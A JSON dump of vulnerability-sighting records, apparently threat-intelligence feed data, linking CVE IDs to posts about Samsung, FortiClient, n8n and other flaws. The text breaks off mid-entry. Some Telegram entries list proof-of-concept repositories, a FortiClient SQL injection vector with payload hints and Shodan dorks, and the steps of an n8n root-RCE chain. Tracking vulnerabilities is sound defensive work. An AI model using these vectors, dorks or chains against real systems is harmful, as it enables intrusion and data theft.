"\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-21054: \u041d\u0435\u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u043e\u0435 \u044d\u043a\u0441\u043f\u043e\u0440\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u043e\u0432 Android \u0432 InputSharing\n\n\n\nhttps://kripta.biz/posts/ED069A86-6CE7-478C-BF0B-48A4C8CED4D1", "creation_timestamp": "2026-07-10T09:56:21.632692Z"}, {"uuid": "8ea0258a-2c2a-40c4-8ab8-a91744ac877e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21057", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mqbv2z7uij2a", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-21057 \u0432 Samsung Pass: \u0443\u0433\u0440\u043e\u0437\u0430 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u044b \u0437\u0430\u0449\u0438\u0442\u044b\n\n\n\nhttps://kripta.biz/posts/DEF9E12B-E4C1-4744-A217-DCB520F0CA79", "creation_timestamp": "2026-07-10T09:56:42.734712Z"}, {"uuid": "4fa8a4e7-270a-4eb7-8af5-63350acc007a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21057", "type": "seen", "source": "https://bsky.app/profile/qiancx.bsky.social/post/3mqbv2yvz2b2n", "content": "Samsung Pass \u5b89\u5168\u6f0f\u6d1e CVE-2026-21057 \u6df1\u5ea6\u89e3\u6790:\u8f93\u5165\u9a8c\u8bc1\u7f3a\u9677\u4e0e\u672c\u5730\u6743\u9650\u63d0\u5347\u98ce\u9669\n\n\n\nhttps://qian.cx/posts/A7492845-B27C-49CD-9FCA-340127FACDFA", "creation_timestamp": "2026-07-10T09:56:43.219697Z"}, {"uuid": "5730294f-e3ff-4ee0-a365-0b5aa15adbd6", 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"source": "https://www.acn.gov.it/portale/w/samsung-electronics-rilascia-aggiornamenti-di-sicurezza", "content": "", "creation_timestamp": "2026-07-10T12:46:54.249951Z"}, {"uuid": "777eeaf6-27fc-4974-9815-2cd4e637cc9a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-21049", "type": "seen", "source": "https://www.acn.gov.it/portale/w/samsung-electronics-rilascia-aggiornamenti-di-sicurezza", "content": "", "creation_timestamp": "2026-07-10T12:46:57.181377Z"}, {"uuid": "d1c216ca-cca1-4894-be4b-3a7ee0b2aca7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21052", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mqclvwuhie2i", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-21052: Path Traversal \u0432 SemClipboardService \u0438 \u0435\u0451 \u043f\u043e\u0441\u043b\u0435\u0434\u0441\u0442\u0432\u0438\u044f\n\n\n\nhttps://kripta.biz/posts/CA14754F-2DD8-4DB3-AE17-2CD4EE5C10E8", "creation_timestamp": "2026-07-10T16:45:29.360762Z"}, {"uuid": "793242c0-da85-4788-a5cc-1bbff9a3c3f8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21051", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mqclz4zak32w", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-21051: \u041e\u0448\u0438\u0431\u043a\u0438 \u0432 \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0430\u0445 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 Wi-Fi \u0434\u043e \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f SMR Jul-2026\n\n\n\nhttps://kripta.biz/posts/745A1321-03B4-4CB6-B470-81EE681C67BF", "creation_timestamp": "2026-07-10T16:47:15.998406Z"}, {"uuid": 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\u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0438 Samsung Email: \u0443\u0433\u0440\u043e\u0437\u0430 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u044b \u0437\u0430\u0449\u0438\u0442\u044b\n\n\n\nhttps://kripta.biz/posts/95606AFB-0CB1-466E-8C02-E18A1BBE7118", "creation_timestamp": "2026-07-10T16:47:32.360430Z"}, {"uuid": "50bb7c9d-9fe7-4358-bac3-03d758257827", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21057", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mqcm2enped2a", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-21057 \u0432 Samsung Pass: \u0443\u0433\u0440\u043e\u0437\u0430 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u044b \u0437\u0430\u0449\u0438\u0442\u044b\n\n\n\nhttps://kripta.biz/posts/B613790C-5700-453F-B5FF-EE9998131272", "creation_timestamp": "2026-07-10T16:47:57.276310Z"}, {"uuid": "e5aa6829-5efb-4782-a73f-5400c967ce35", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21055", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mqcmjyhskl22", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-21055 \u0432 Bixby: \u0440\u0438\u0441\u043a\u0438 \u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u044b \u0437\u0430\u0449\u0438\u0442\u044b\n\n\n\nhttps://kripta.biz/posts/D69AA484-3EEA-4740-86D2-56A73E308B76", "creation_timestamp": "2026-07-10T16:56:41.491428Z"}, {"uuid": "65ac1394-5fdf-4f63-be88-c0bdcb18b8f0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21046", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mqcp5ysxtw2f", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-21046: \u0433\u043e\u043d\u043a\u0430 \u0443\u0441\u043b\u043e\u0432\u0438\u0439 \u0432\u0440\u0435\u043c\u0435\u043d\u0438 \u0432 fabricKeymaster trustlet \u0438 \u0435\u0451 \u043f\u043e\u0441\u043b\u0435\u0434\u0441\u0442\u0432\u0438\u044f\n\n\n\nhttps://kripta.biz/posts/8631605A-C701-4272-92ED-5A357E8CE615", "creation_timestamp": "2026-07-10T17:43:50.851176Z"}, {"uuid": "4dc3a48e-a456-4049-94f8-d027546b8713", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21042", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mqcpc2cike26", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-21042: \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u043e\u0448\u0438\u0431\u043a\u0430 \u0432 libsavsac.so \u0438 \u0435\u0451 \u043f\u043e\u0441\u043b\u0435\u0434\u0441\u0442\u0432\u0438\u044f\n\n\n\nhttps://kripta.biz/posts/67B7DA9D-5C23-4E40-891C-09A5F5CEEA8F", "creation_timestamp": "2026-07-10T17:45:56.240599Z"}, {"uuid": "35c99dc2-5e58-4951-ab06-eba4e83fc333", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21049", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mqcpcnyb5w27", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-21049: \u0443\u0433\u0440\u043e\u0437\u0430 \u0438\u0437-\u0437\u0430 \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0431\u0443\u0444\u0435\u0440\u0430 \u0432 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0435 libpadm.so\n\n\n\nhttps://kripta.biz/posts/BEDD6BF3-0AA0-48FC-8BB2-413F3E60F4F0", "creation_timestamp": "2026-07-10T17:46:19.038213Z"}, {"uuid": "3571fa42-4723-47f4-ba7e-42fb6ecaeabf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21050", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mqcrvfacd52w", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-21050 \u0432 SmartThingsKit: \u0443\u0433\u0440\u043e\u0437\u0430 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u044b \u0437\u0430\u0449\u0438\u0442\u044b\n\n\n\nhttps://kripta.biz/posts/B3E49A94-3422-488F-B276-234218CE98D2", "creation_timestamp": "2026-07-10T18:32:32.648641Z"}, {"uuid": "588e60b2-d90d-4501-8aa7-857aab2e7c75", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21056", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mqcsec46kj2x", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-21056 \u0432 Samsung Health: \u0443\u0433\u0440\u043e\u0437\u0430 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u044b \u0437\u0430\u0449\u0438\u0442\u044b\n\n\n\nhttps://kripta.biz/posts/6492E9A8-A055-4DDC-9D90-D07C78043EE9", "creation_timestamp": "2026-07-10T18:40:55.154187Z"}, {"uuid": "41abb570-d9f2-4735-b194-2f862b4c8c70", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21044", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mqcwjfyinp2x", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-21044: \u0447\u0442\u043e \u043d\u0443\u0436\u043d\u043e \u0437\u043d\u0430\u0442\u044c \u043e \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0435 \u0432 KnoxGuardManager\n\n\n\nhttps://kripta.biz/posts/76039117-3D42-4079-A7AC-67F2E5C56578", "creation_timestamp": "2026-07-10T19:55:19.444637Z"}, {"uuid": "8e99b787-2db6-4aa0-9660-19eabbf88bb3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21045", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mqcxebcvul26", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-21045: \u0410\u043d\u0430\u043b\u0438\u0437 \u0438 \u043f\u043e\u0441\u043b\u0435\u0434\u0441\u0442\u0432\u0438\u044f out-of-bounds write \u0432 libimagecodec.media.quram.so\n\n\n\nhttps://kripta.biz/posts/0427EEAF-CCA6-4CA3-928E-9C3D0BCCC41A", "creation_timestamp": "2026-07-10T20:10:20.454979Z"}, {"uuid": "1f7d4489-4f0b-42aa-bf06-2f9d33ce2879", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21040", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mqcxi6zfsg2w", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-21040: \u041d\u0435\u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u0432 IAFDService \u0438 \u0435\u0451 \u043f\u043e\u0441\u043b\u0435\u0434\u0441\u0442\u0432\u0438\u044f\n\n\n\nhttps://kripta.biz/posts/D626DAC8-B4D4-48AC-800C-35575789CF01", "creation_timestamp": "2026-07-10T20:12:32.388463Z"}, {"uuid": "a9411128-9a75-45aa-a41c-9654612bb8e2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21653", "type": "seen", "source": "https://bsky.app/profile/cyfar.ca/post/3mstgbpylkc2z", "content": "~Cisa~\nCritical RCE, SSRF, and privilege escalation vulnerabilities in Johnson Controls C-CURE 9000 and Victor enable unauthenticated adjacent-network attackers to execute arbitrary code.\n-\nIOCs: CVE-2026-21655, CVE-2026-21653, CVE-2026-34496\n-\n...", "creation_timestamp": "2026-08-11T20:10:20.629672Z"}, {"uuid": "2d57ea8e-3eac-4500-b57d-ff709a57ea57", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21039", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mqd52p2hxg2w", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-21039: \u041d\u0435\u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u043e\u0435 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u0434\u043e\u0441\u0442\u0443\u043f\u043e\u043c \u0432 \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0430\u0445 \u0434\u043e \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f SMR Jul-2026 Release 1\n\n\n\nhttps://kripta.biz/posts/AF943064-50A2-4E51-87D3-317126517E59", "creation_timestamp": "2026-07-10T21:52:21.933225Z"}, {"uuid": "eb9e0b3a-eb51-4d9b-8749-93be09a720ac", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21048", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mqd53coy7r2d", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-21048: \u0410\u043d\u0430\u043b\u0438\u0437 \u0440\u0438\u0441\u043a\u043e\u0432 \u0438 \u043c\u0435\u0442\u043e\u0434\u043e\u0432 \u0437\u0430\u0449\u0438\u0442\u044b \u043e\u0442 out-of-bounds write \u0432 libimagecodec.media.quram.so\n\n\n\nhttps://kripta.biz/posts/C0A88E0F-F5C1-4609-B7AC-F01F0245FFF2", "creation_timestamp": "2026-07-10T21:52:42.565344Z"}, {"uuid": "a7a50a7d-adce-4500-8d8e-e71762a177d6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21655", "type": "seen", "source": "https://bsky.app/profile/cyfar.ca/post/3mstgbpylkc2z", "content": "~Cisa~\nCritical RCE, SSRF, and privilege escalation vulnerabilities in Johnson Controls C-CURE 9000 and Victor enable unauthenticated adjacent-network attackers to execute arbitrary code.\n-\nIOCs: CVE-2026-21655, CVE-2026-21653, CVE-2026-34496\n-\n...", "creation_timestamp": "2026-08-11T20:10:20.589244Z"}, {"uuid": "a56d97a8-54c8-4f9c-afb2-9d2e89b305f9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21509", "type": "exploited", "source": "https://t.me/CyberSecurityExploit/30322", "content": "\u26a0\ufe0f CVE / ZERO-DAY\n\ud83d\udd25 New GitHub PoC CVE \u2013 Research Picks (Today / Fresh Only)\nBelow are recent CVE vulnerabilities with publicly available Proof-of-Concept repositories on GitHub, selected for research and exploit analysis.\n\n\u2796\u2796\u2796\u2796\n\n1\ufe0f\u20e3 CVE-2026-2441\n\ud83c\udfaf Google Chrome Blink \u2013 Use-After-Free (In-the-Wild)\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/b1gchoi/CVE-2026-2441_POC\n\n\ud83e\udde0 Overview\nA use-after-free vulnerability in Chrome\u2019s Blink engine allows attackers to achieve arbitrary code execution within the browser sandbox.\nThe PoC demonstrates memory corruption triggered via crafted CSS and layout processing.\n\n\u2699\ufe0f Impact\n\u2022 Browser sandbox RCE\n\u2022 Confirmed exploitation in the wild\n\u2022 Potential full exploit chain\n\n\u2796\u2796\u2796\u2796\n\n2\ufe0f\u20e3 CVE-2026-1357\n\ud83c\udfaf WordPress WPvivid Plugin \u2013 Unauthenticated RCE\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/cybertechajju/CVE-2026-1357-POC\n\n\ud83e\udde0 Overview\nA critical vulnerability in the WPvivid Backup & Migration plugin allows unauthenticated attackers to upload malicious files and execute code on the server.\n\n\u2699\ufe0f Impact\n\u2022 Unauthenticated remote code execution\n\u2022 Full WordPress site compromise\n\u2022 High severity (critical risk)\n\n\u2796\u2796\u2796\u2796\n\n3\ufe0f\u20e3 CVE-2026-24061\n\ud83c\udfaf GNU inetutils-telnetd \u2013 Authentication Bypass\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/JayGLXR/CVE-2026-24061-POC\n\n\ud83e\udde0 Overview\nA flaw in telnetd allows attackers to bypass authentication by injecting crafted environment variables using the NEW_ENVIRON option.\n\n\u2699\ufe0f Impact\n\u2022 Authentication bypass\n\u2022 Remote root shell access\n\u2022 Critical infrastructure exposure\n\n\u2796\u2796\u2796\u2796\n\n4\ufe0f\u20e3 CVE-2026-25755\n\ud83c\udfaf jsPDF \u2013 PDF Object Injection\n\n\ud83d\udd17 PoC / Research\nhttps://github.com/ZeroXJacks/CVEs/blob/main/2026/CVE-2026-25755.md\n\n\ud83e\udde0 Overview\nA vulnerability in jsPDF allows attackers to inject arbitrary content into generated PDF files due to improper input sanitization.\n\n\u2699\ufe0f Impact\n\u2022 Malicious PDF injection\n\u2022 Security control bypass\n\u2022 Document-based attack vector\n\n\u2796\u2796\u2796\u2796\n\n5\ufe0f\u20e3 CVE-2026-21509\n\ud83c\udfaf Microsoft Office \u2013 Security Feature Bypass\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/gavz/CVE-2026-21509-PoC\n\n\ud83e\udde0 Overview\nA crafted Office document can bypass certain security protections, enabling potential malicious payload delivery.\n\n\u2699\ufe0f Impact\n\u2022 Security feature bypass\n\u2022 Malicious document vector\n\u2022 Detection evasion scenarios\n\n\u2796\u2796\u2796\u2796\n\n\ud83d\udcda Research Value\n\u2022 Vulnerability research\n\u2022 Exploit development study\n\u2022 Patch analysis\n\u2022 Red team / blue team exercises\n\n\u26a0\ufe0f Ethical Notice\nThis content is shared for cybersecurity research and defensive purposes only.\nDo not use this information for illegal activities.\n\n\ud83e\udde0 Cyber Security Exploit Research Community\nMalware Analysis | Reverse Engineering | CVE Research | Threat Intelligence\n\n\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\n\n\ud83d\udd10 Cyber Security Exploit Community\nTelegram Group\nhttps://t.me/Cyber_Security_Exploit\n\nTelegram Channel\nhttps://t.me/CyberSecurityExploit\n\nResearch \u2022 Ethical Hacking \u2022 Red Team", "creation_timestamp": "2026-08-16T00:00:35.715347Z"}, {"uuid": "b3731351-c741-4b92-aa4a-e06b65c61746", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21049", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mqdwiagiyu2a", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-21049: \u0443\u0433\u0440\u043e\u0437\u0430 \u0438\u0437-\u0437\u0430 \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0431\u0443\u0444\u0435\u0440\u0430 \u0432 libpadm.so\n\n\n\nhttps://kripta.biz/posts/3261062C-AC5B-48D8-9E97-587A12588653", "creation_timestamp": "2026-07-11T05:27:19.863415Z"}, {"uuid": "32351a14-d09d-4195-af7d-1edf06248bd6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21052", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mqdwxhgc752z", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-21052: Path Traversal \u0432 SemClipboardService \u0438 \u0435\u0451 \u043f\u043e\u0441\u043b\u0435\u0434\u0441\u0442\u0432\u0438\u044f\n\n\n\nhttps://kripta.biz/posts/BD7138DF-8B02-4394-B446-AEE9D6E620C1", "creation_timestamp": "2026-07-11T05:35:50.537418Z"}, {"uuid": "5841dcdf-82e5-4bfc-bfd7-d767598136b5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21055", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mqdwy3sxvh2y", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-21055 \u0432 Bixby: \u0440\u0438\u0441\u043a\u0438 \u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u044b \u0437\u0430\u0449\u0438\u0442\u044b\n\n\n\nhttps://kripta.biz/posts/5138F847-8C9A-41C2-BF6D-524E708F73D1", "creation_timestamp": "2026-07-11T05:36:11.744340Z"}, {"uuid": "4bf867a3-3d62-480c-bb17-211eb61a65ec", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21643", "type": "exploited", "source": "https://t.me/brutsecurity/2605", "content": "\ud83d\udea8 Bug Bounty / Red Team Tip\n\nCVE-2026-21643 \u2014 Critical Pre-Auth SQL Injection (CVSS 9.1) in FortiClient EMS 7.4.4 (multi-tenant mode only)\n\nUnauthenticated attackers can inject arbitrary SQL via the Site HTTP header to the public endpoint /api/v1/init_consts (or login endpoint). This happens before authentication and hits the PostgreSQL backend with superuser-level access in many setups \u2192 full DB dump, schema extraction, or RCE (via PostgreSQL features like COPY FROM PROGRAM).\n\n- Affected: Only FortiClient EMS 7.4.4 (multi-tenant/Sites feature enabled)\n- Not affected: 7.2.x, 8.0.x, single-site deployments\n- Fixed: Upgrade to 7.4.5 or later\n- Status: Actively exploited in the wild + public PoCs available\n\nMain Detail Article (Highly Recommended):  \nBishop Fox deep-dive with exploitation paths, payloads (e.g., pg_sleep(5) for blind testing), and lab results \u2192  \nhttps://bishopfox.com/blog/cve-2026-21643-pre-authentication-sql-injection-in-forticlient-ems-7-4-4\n\nPublic PoC (GitHub):  \nhttps://github.com/0xBlackash/CVE-2026-21643\n\nUseful Google/Shodan Dorks:\n- http.title:\"FortiClient EMS\" \"7.4.4\"\n- http.html:\"FortiClient Enterprise Management Server\"\n- http.favicon.hash: -specific-hash (or search for EMS login page)\n- Shodan: \"Model: FCTEMS\" or \"FortiClient EMS\"\n\nQuick Check:\nIf your EMS login page is internet-facing and running 7.4.4 with multi-tenant enabled \u2192 patch ASAP or block public access. Thousands of instances are exposed (Shadowserver ~2k+, Shodan ~1k+).\n\nHigh-value target for hunters. Patch or restrict immediately!\n\n#BugBounty #RedTeam #Fortinet #CVE202621643 #SQLi", "creation_timestamp": "2026-07-11T10:00:05.407445Z"}, {"uuid": "6b8f52b0-1768-4b54-a9bb-7feac4179b4c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21440", "type": "published-proof-of-concept", "source": "https://t.me/brutsecurity/2446", "content": "\ud83c\udd98CVE-2026-21440: A critical path traversal vulnerability affecting the AdonisJS framework, specifically its multipart file upload handling.\n\n\u27a1\ufe0fPoC Exploit: https://github.com/Ashwesker/Ashwesker-CVE-2026-21440", "creation_timestamp": "2026-07-11T11:00:04.818204Z"}, {"uuid": "4334d780-8eab-438d-b735-62f26808a036", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21858", "type": "published-proof-of-concept", "source": "https://t.me/brutsecurity/2443", "content": "CVE-2026-21858 + CVE-2025-68613: n8n Ni8mare - Full Chain Exploit\n\nUnauthenticated to Root RCE:\n- LFI via Content-Type confusion\n- Read /proc/self/environ to find HOME\n- Steal encryption key + database\n- Forge admin JWT token\n- Expression injection sandbox bypass\n- RCE as root\n\nCVSS 10.0\n\nhttps://github.com/Chocapikk/CVE-2026-21858", "creation_timestamp": "2026-07-11T11:00:04.893851Z"}, {"uuid": "423a3616-417b-4fc8-9966-34823e5fc2f4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21643", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-07-11)", "content": "", "creation_timestamp": "2026-07-12T10:15:10.283083Z"}, {"uuid": "fa11fe6e-94b9-4340-af84-43b236a13d64", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21714", "type": "seen", "source": "https://t.me/securixy_kz/1356", "content": "\ud83e\udde8 npm \u0434\u0430\u0439\u0434\u0436\u0435\u0441\u0442: \u0410\u043f\u0440\u0435\u043b\u044c 2026 \n\n\u0414\u0432\u0435 \u043d\u0435\u0434\u0435\u043b\u0438 \u0430\u0442\u0430\u043a \u043d\u0430 \u0446\u0435\u043f\u043e\u0447\u043a\u0438 \u043f\u043e\u0441\u0442\u0430\u0432\u043e\u043a. \n\n\u2620\ufe0f Axios - supply chain \u043e\u0442 Sapphire Sleet (UNC1069)\n\n\u0421\u0435\u0432\u0435\u0440\u043e\u043a\u043e\u0440\u0435\u0439\u0446\u044b \u0441\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u043b\u0438 \u0430\u043a\u043a\u0430\u0443\u043d\u0442 \u043c\u0435\u0439\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u0430.}\n\u0412\u0435\u0440\u0441\u0438\u0438 1.14.1 \u0438 0.30.4 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0442 \u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u044c plain-crypto-js, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0447\u0435\u0440\u0435\u0437 postinstall \u0443\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0435\u0442 RAT \u043d\u0430 Windows / macOS / Linux.\n\u0426\u0435\u043b\u044c: AWS/Azure-\u043a\u043b\u044e\u0447\u0438, GitHub-\u0442\u043e\u043a\u0435\u043d\u044b, env-\u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0435.\n\u26a0\ufe0f \u041f\u0430\u043a\u0435\u0442 - 70+ \u043c\u043b\u043d \u0441\u043a\u0430\u0447\u0438\u0432\u0430\u043d\u0438\u0439 \u0432 \u043d\u0435\u0434\u0435\u043b\u044e.\n\ud83d\udee1 \u041e\u0442\u043a\u0430\u0442\u0438\u0442\u044c\u0441\u044f \u043d\u0430 1.14.0 / 0.30.3, \u0440\u043e\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c 